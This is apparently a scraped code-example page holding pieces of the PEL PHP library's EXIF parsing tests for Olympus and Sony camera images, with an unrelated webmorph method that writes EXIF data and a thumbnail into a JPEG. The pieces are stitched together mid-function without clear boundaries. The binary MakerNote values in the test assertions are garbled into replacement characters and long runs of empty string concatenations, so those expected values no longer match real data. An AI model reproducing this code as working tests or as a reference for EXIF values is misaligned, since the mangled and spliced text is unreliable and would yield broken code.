        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 5);
        $this->assertEqual($entry->getText(), 'Pattern');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Unknown');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 25);
        $this->assertEqual($entry->getText(), 'Flash fired, auto mode.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 1883, 1 => 100));
        $this->assertEqual($entry->getText(), '18.8 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'OLYMP>$8@HT	 Z
|
„
Œ
”
¤	
¸
QQ	6Hpp@&@ Üè¸ !°\'" n#
$6%
(&\'(d)*+T,
-.
/€01t3Р8;!¾<¾=
ä>
ì');
        $this->assertEqual($entry->getText(), '758 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(37510);
        // UserComment
        $this->assertIsA($entry, 'PelEntryUserComment');
        $this->assertEqual($entry->getValue(), '                                                                                                                     ');
        $this->assertEqual($entry->getText(), '                                                                                                                     ');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2560);
        $this->assertEqual($entry->getText(), '2560');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1920);
        $this->assertEqual($entry->getText(), '1920');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto white balance');
        $entry = $ifd0_0->getEntry(41988);
        // DigitalZoomRatio
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 100, 1 => 100));
        $this->assertEqual($entry->getText(), '100/100');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Portrait');
        $entry = $ifd0_0->getEntry(41991);
        // GainControl
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41992);
        // Contrast
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41993);
        // Saturation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        $entry = $ifd0_0->getEntry(41994);
        // Sharpness
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 2);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
        /* End of IFD $ifd0. */
        /* Start of IDF $ifd1. */
        $this->assertEqual(count($ifd1->getEntries()), 4);
        $entry = $ifd1->getEntry(259);
        // Compression
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'JPEG compression');
        $entry = $ifd1->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd1->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        /* Sub IFDs of $ifd1. */
        $this->assertEqual(count($ifd1->getSubIfds()), 0);
        $thumb_data = file_get_contents(dirname(__FILE__) . '/olympus-c50z-thumb.jpg');
        $this->assertEqual($ifd1->getThumbnailData(), $thumb_data);
        /* Next IFD. */
        $ifd2 = $ifd1->getNextIfd();
        $this->assertNull($ifd2);
        /* End of IFD $ifd1. */
 private function _addExif($filename)
 {
     //if ($_SERVER['SERVER_NAME'] == 'test.psychomorph') return true;
     try {
         $jpeg = new PelJpeg($filename);
         if (!($exif = $jpeg->getExif())) {
             // Create and add empty Exif data to the image (this throws away any old Exif data in the image).
             $exif = new PelExif();
             $jpeg->setExif($exif);
         }
         if (!($tiff = $exif->getTiff())) {
             // Create and add TIFF data to the Exif data (Exif data is actually stored in a TIFF format).
             $tiff = new PelTiff();
             $exif->setTiff($tiff);
         }
         if (!($ifd0 = $tiff->getIfd())) {
             // Create first Image File Directory and associate it with the TIFF data.
             $ifd0 = new PelIfd(PelIfd::IFD0);
             $tiff->setIfd($ifd0);
         }
         if (!($exif_ifd = $ifd0->getSubIfd(PelIfd::EXIF))) {
             // Create exif Image File Directory and associate it with the TIFF data.
             $exif_ifd = new PelIfd(PelIfd::EXIF);
             $ifd0->addSubIfd($exif_ifd);
         }
         if (!($ifd1 = $ifd0->getNextIfd())) {
             // thumbnail does not exist
             $ifd1 = new PelIfd(1);
             $ifd0->setNextIfd($ifd1);
             //$original = ImageCreateFromString($jpeg->getBytes()); # create image resource of original
             //$thumb = makeThumb($original);
             $thumb = $this->_makeThumb($this->getImage());
             // start writing output to buffer
             ob_start();
             // outputs thumb resource contents to buffer
             ImageJpeg($thumb);
             // create PelDataWindow from buffer thumb contents (and end output to buffer)
             $window = new PelDataWindow(ob_get_clean());
             if ($window) {
                 $ifd1->setThumbnail($window);
                 # set window data as thumbnail in ifd1
             }
             //imagedestroy($original);
             imagedestroy($thumb);
         }
         $exifdata = array(PelTag::IMAGE_DESCRIPTION => $this->getDescription(), PelTag::COPYRIGHT => "webmorph.org: " . $_SESSION['user_id'] . ': IMG_ID: ', PelTag::USER_COMMENT => $this->_embeddedTem);
         foreach ($exifdata as $PelTag => $val) {
             if ($PelTag == PelTag::USER_COMMENT) {
                 if (!($entry = $exif_ifd->getEntry($PelTag))) {
                     $exif_ifd->addEntry(new PelEntryUserComment($val));
                 } else {
                     $entry->setValue($val);
                 }
             } else {
                 if (!($entry = $ifd0->getEntry($PelTag))) {
                     $ifd0->addEntry(new PelEntryAscii($PelTag, $val));
                 } else {
                     $entry->setValue($val);
                 }
             }
         }
         $jpeg->saveFile($filename);
         return true;
     } catch (Exception $e) {
         // Handle exception
         echo $e;
     }
 }
示例#14
0
文件: sony-dsc-v1.php 项目: ni-c/pel
    function testRead()
    {
        Pel::clearExceptions();
        Pel::setStrictParsing(false);
        $jpeg = new PelJpeg(dirname(__FILE__) . '/sony-dsc-v1.jpg');
        $exif = $jpeg->getExif();
        $this->assertIsA($exif, 'PelExif');
        $tiff = $exif->getTiff();
        $this->assertIsA($tiff, 'PelTiff');
        /* The first IFD. */
        $ifd0 = $tiff->getIfd();
        $this->assertIsA($ifd0, 'PelIfd');
        /* Start of IDF $ifd0. */
        $this->assertEqual(count($ifd0->getEntries()), 10);
        $entry = $ifd0->getEntry(270);
        // ImageDescription
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), '                               ');
        $this->assertEqual($entry->getText(), '                               ');
        $entry = $ifd0->getEntry(271);
        // Make
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'SONY');
        $this->assertEqual($entry->getText(), 'SONY');
        $entry = $ifd0->getEntry(272);
        // Model
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'DSC-V1');
        $this->assertEqual($entry->getText(), 'DSC-V1');
        $entry = $ifd0->getEntry(274);
        // Orientation
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 6);
        $this->assertEqual($entry->getText(), 'right - top');
        $entry = $ifd0->getEntry(282);
        // XResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(283);
        // YResolution
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 72, 1 => 1));
        $this->assertEqual($entry->getText(), '72/1');
        $entry = $ifd0->getEntry(296);
        // ResolutionUnit
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Inch');
        $entry = $ifd0->getEntry(306);
        // DateTime
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089482993);
        $this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
        $entry = $ifd0->getEntry(531);
        // YCbCrPositioning
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'co-sited');
        $entry = $ifd0->getEntry(50341);
        // PrintIM
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'PrintIM' . "" . '0250' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '');
        $this->assertEqual($entry->getText(), '(undefined)');
        /* Sub IFDs of $ifd0. */
        $this->assertEqual(count($ifd0->getSubIfds()), 1);
        $ifd0_0 = $ifd0->getSubIfd(2);
        // IFD Exif
        $this->assertIsA($ifd0_0, 'PelIfd');
        /* Start of IDF $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getEntries()), 26);
        $entry = $ifd0_0->getEntry(33434);
        // ExposureTime
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 10, 1 => 600));
        $this->assertEqual($entry->getText(), '1/60 sec.');
        $entry = $ifd0_0->getEntry(33437);
        // FNumber
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 32, 1 => 10));
        $this->assertEqual($entry->getText(), 'f/3.2');
        $entry = $ifd0_0->getEntry(34850);
        // ExposureProgram
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Normal program');
        $entry = $ifd0_0->getEntry(34855);
        // ISOSpeedRatings
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 100);
        $this->assertEqual($entry->getText(), '100');
        $entry = $ifd0_0->getEntry(36864);
        // ExifVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 2.2);
        $this->assertEqual($entry->getText(), 'Exif Version 2.2');
        $entry = $ifd0_0->getEntry(36867);
        // DateTimeOriginal
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089482993);
        $this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
        $entry = $ifd0_0->getEntry(36868);
        // DateTimeDigitized
        $this->assertIsA($entry, 'PelEntryTime');
        $this->assertEqual($entry->getValue(), 1089482993);
        $this->assertEqual($entry->getText(), '2004:07:10 18:09:53');
        $entry = $ifd0_0->getEntry(37121);
        // ComponentsConfiguration
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '' . "" . '');
        $this->assertEqual($entry->getText(), 'Y Cb Cr -');
        $entry = $ifd0_0->getEntry(37122);
        // CompressedBitsPerPixel
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 2, 1 => 1));
        $this->assertEqual($entry->getText(), '2/1');
        $entry = $ifd0_0->getEntry(37380);
        // ExposureBiasValue
        $this->assertIsA($entry, 'PelEntrySRational');
        $this->assertEqual($entry->getValue(), array(0 => 7, 1 => 10));
        $this->assertEqual($entry->getText(), '+0.7');
        $entry = $ifd0_0->getEntry(37381);
        // MaxApertureValue
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 48, 1 => 16));
        $this->assertEqual($entry->getText(), '48/16');
        $entry = $ifd0_0->getEntry(37383);
        // MeteringMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 2);
        $this->assertEqual($entry->getText(), 'Center-Weighted Average');
        $entry = $ifd0_0->getEntry(37384);
        // LightSource
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Unknown');
        $entry = $ifd0_0->getEntry(37385);
        // Flash
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 31);
        $this->assertEqual($entry->getText(), 'Flash fired, auto mode, return light detected.');
        $entry = $ifd0_0->getEntry(37386);
        // FocalLength
        $this->assertIsA($entry, 'PelEntryRational');
        $this->assertEqual($entry->getValue(), array(0 => 139, 1 => 10));
        $this->assertEqual($entry->getText(), '13.9 mm');
        $entry = $ifd0_0->getEntry(37500);
        // MakerNote
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), 'SONY DSC ' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '@' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . 'd' . "" . '' . "" . '�' . "" . 'x' . "" . '' . "" . '' . "" . '~' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '������������������������������������������������' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . 'n~�' . "" . '�,' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�A�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '	�' . "" . '`�^��J�' . "" . '' . "" . '' . "" . '' . "" . 'J0' . "" . '�J0J�' . "" . 'p' . "" . '' . "" . 'p' . "" . '' . "" . '�' . "" . '^' . "" . '�' . "" . '' . "" . 'V
' . "" . '' . "" . '' . "" . 'c' . "" . '' . "" . '��' . "" . '' . "" . 'Ґ��' . "" . 'p' . "" . '' . "" . '�' . "" . '�^' . "" . '�o' . "" . '' . "" . '@P' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '��' . "" . 't��' . "" . '�u=' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '�tד�g��"0c' . "" . '' . "" . '' . "" . '' . "" . 'ק�!' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '}' . "" . '(�' . "" . '^' . "" . '' . "" . '�' . "" . '����ד@' . "" . '' . "" . '' . "" . '��sF' . "" . '�' . "" . '�' . "" . '#' . "" . '#' . "" . 'G' . "" . '�' . "" . '' . "" . 'U�$1��ys�y�y��[��}����' . "" . '' . "" . 'i' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '�' . "" . '' . "" . 'G�' . "" . '' . "" . 'j' . "" . ' #' . "" . '^' . "" . '' . "" . '' . "" . 'V' . "" . '��' . "" . '' . "" . '��E�8T' . "" . 'i$�c���#(G�E�!�IX/' . "" . '�F�YZ��' . "" . '�R�nQ������������������������������������������������������� ' . "" . '�ܼ_' . "" . '' . "" . '��Q' . "" . '�' . "" . '�' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '{' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�Q' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '��' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '��' . "" . '' . "" . '��' . "" . '' . "" . '͕Q' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '@' . "" . '' . "" . '' . "" . '' . "" . '�+�G^���� ����^+Vi��ت�`j�SV�V���] ��X^�����W},�$]�^��؏�O}n0(�K}���}	�&}Ĉ$��@�}�}�^F@�pD��' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '^' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@' . "" . '' . "" . '' . "" . '�' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '}' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '}' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '�' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '@C��^����0� 9Eζ1��0$0w0��e' . "" . '�}���C�il���E(�� ܾ[�>��l5' . "" . '' . "" . '' . "" . '' . "" . 'J"�@�^K����A^�V݊Ci�i[p��' . "" . '����}WV�i���i�V����i#i�����' . "" . '' . "" . '' . "" . '' . "" . '@C}@}T�T��p�^��V��p�p��V
' . "" . '�0c�ؾ[���!ז׆�"�!׶���t��׳ק' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '' . "" . '');
        $this->assertEqual($entry->getText(), '1504 bytes unknown MakerNote data');
        $entry = $ifd0_0->getEntry(40960);
        // FlashPixVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'FlashPix Version 1.0');
        $entry = $ifd0_0->getEntry(40961);
        // ColorSpace
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'sRGB');
        $entry = $ifd0_0->getEntry(40962);
        // PixelXDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 640);
        $this->assertEqual($entry->getText(), '640');
        $entry = $ifd0_0->getEntry(40963);
        // PixelYDimension
        $this->assertIsA($entry, 'PelEntryLong');
        $this->assertEqual($entry->getValue(), 480);
        $this->assertEqual($entry->getText(), '480');
        $entry = $ifd0_0->getEntry(41728);
        // FileSource
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'DSC');
        $entry = $ifd0_0->getEntry(41729);
        // SceneType
        $this->assertIsA($entry, 'PelEntryUndefined');
        $this->assertEqual($entry->getValue(), '');
        $this->assertEqual($entry->getText(), 'Directly photographed');
        $entry = $ifd0_0->getEntry(41985);
        // CustomRendered
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Normal process');
        $entry = $ifd0_0->getEntry(41986);
        // ExposureMode
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Manual exposure');
        $entry = $ifd0_0->getEntry(41987);
        // WhiteBalance
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Auto white balance');
        $entry = $ifd0_0->getEntry(41990);
        // SceneCaptureType
        $this->assertIsA($entry, 'PelEntryShort');
        $this->assertEqual($entry->getValue(), 0);
        $this->assertEqual($entry->getText(), 'Standard');
        /* Sub IFDs of $ifd0_0. */
        $this->assertEqual(count($ifd0_0->getSubIfds()), 1);
        $ifd0_0_0 = $ifd0_0->getSubIfd(4);
        // IFD Interoperability
        $this->assertIsA($ifd0_0_0, 'PelIfd');
        /* Start of IDF $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getEntries()), 2);
        $entry = $ifd0_0_0->getEntry(1);
        // InteroperabilityIndex
        $this->assertIsA($entry, 'PelEntryAscii');
        $this->assertEqual($entry->getValue(), 'R98');
        $this->assertEqual($entry->getText(), 'R98');
        $entry = $ifd0_0_0->getEntry(2);
        // InteroperabilityVersion
        $this->assertIsA($entry, 'PelEntryVersion');
        $this->assertEqual($entry->getValue(), 1);
        $this->assertEqual($entry->getText(), 'Interoperability Version 1.0');
        /* Sub IFDs of $ifd0_0_0. */
        $this->assertEqual(count($ifd0_0_0->getSubIfds()), 0);
        $this->assertEqual($ifd0_0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_0_1 = $ifd0_0_0->getNextIfd();
        $this->assertNull($ifd0_0_1);
        /* End of IFD $ifd0_0_0. */
        $this->assertEqual($ifd0_0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd0_1 = $ifd0_0->getNextIfd();
        $this->assertNull($ifd0_1);
        /* End of IFD $ifd0_0. */
        $this->assertEqual($ifd0->getThumbnailData(), '');
        /* Next IFD. */
        $ifd1 = $ifd0->getNextIfd();
        $this->assertIsA($ifd1, 'PelIfd');
